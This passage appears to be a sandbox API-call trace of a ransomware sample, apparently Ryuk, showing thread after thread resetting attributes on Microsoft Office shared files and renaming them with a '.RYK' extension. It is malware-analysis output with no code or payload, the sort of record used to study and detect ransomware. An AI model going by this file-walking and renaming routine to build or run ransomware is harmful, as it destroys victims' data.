	id = 348
	os_tid = 0xe4c

	[0158.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", dwFileAttributes=0x80) returned 0
	[0159.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 352
	os_tid = 0xe60

	[0158.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", dwFileAttributes=0x80) returned 0
	[0158.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 353
	os_tid = 0xe64

	[0158.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", dwFileAttributes=0x80) returned 0
	[0158.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 354
	os_tid = 0xe68

	[0158.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", dwFileAttributes=0x80) returned 0
	[0158.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 355
	os_tid = 0xe6c

	[0158.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", dwFileAttributes=0x80) returned 0
	[0159.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.014] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 356
	os_tid = 0xe70

	[0158.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", dwFileAttributes=0x80) returned 0
	[0159.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.016] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 357
	os_tid = 0xe74

	[0158.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", dwFileAttributes=0x80) returned 0
	[0158.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 358
	os_tid = 0xe78

	[0159.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", dwFileAttributes=0x80) returned 0
	[0159.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 360
	os_tid = 0xe84

	[0159.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", dwFileAttributes=0x80) returned 0
	[0159.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 361
	os_tid = 0xe88

	[0159.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", dwFileAttributes=0x80) returned 0
	[0159.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 362
	os_tid = 0xe8c

	[0159.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", dwFileAttributes=0x80) returned 0
	[0159.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.343] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 363
	os_tid = 0xe90

	[0159.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 0
	[0159.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 364
	os_tid = 0xe94

	[0159.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", dwFileAttributes=0x80) returned 0
	[0159.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 365
	os_tid = 0xe98

	[0159.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", dwFileAttributes=0x80) returned 0
	[0159.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 366
	os_tid = 0xe9c

	[0159.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", dwFileAttributes=0x80) returned 0
	[0159.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.350] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 367
	os_tid = 0xea8

	[0159.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", dwFileAttributes=0x80) returned 0
	[0159.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 368
	os_tid = 0xeac

	[0159.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", dwFileAttributes=0x80) returned 0
	[0159.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 369
	os_tid = 0xeb0

	[0159.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 0
	[0159.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 370
	os_tid = 0xeb4

	[0159.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", dwFileAttributes=0x80) returned 0
	[0159.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 371
	os_tid = 0xeb8

	[0159.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", dwFileAttributes=0x80) returned 0
	[0159.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 372
	os_tid = 0xebc

	[0159.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", dwFileAttributes=0x80) returned 0
	[0159.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 373
	os_tid = 0xec0

	[0159.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", dwFileAttributes=0x80) returned 0
	[0159.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 374
	os_tid = 0xec4

	[0159.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 0
	[0159.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.367] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 375
	os_tid = 0xec8

	[0159.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", dwFileAttributes=0x80) returned 0
	[0159.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 376
	os_tid = 0xecc

	[0159.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", dwFileAttributes=0x80) returned 0
	[0159.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 377
	os_tid = 0xed0

	[0159.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", dwFileAttributes=0x80) returned 0
	[0159.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.964] CloseHandle (hObject=0xffffffffffffffff) returned 0
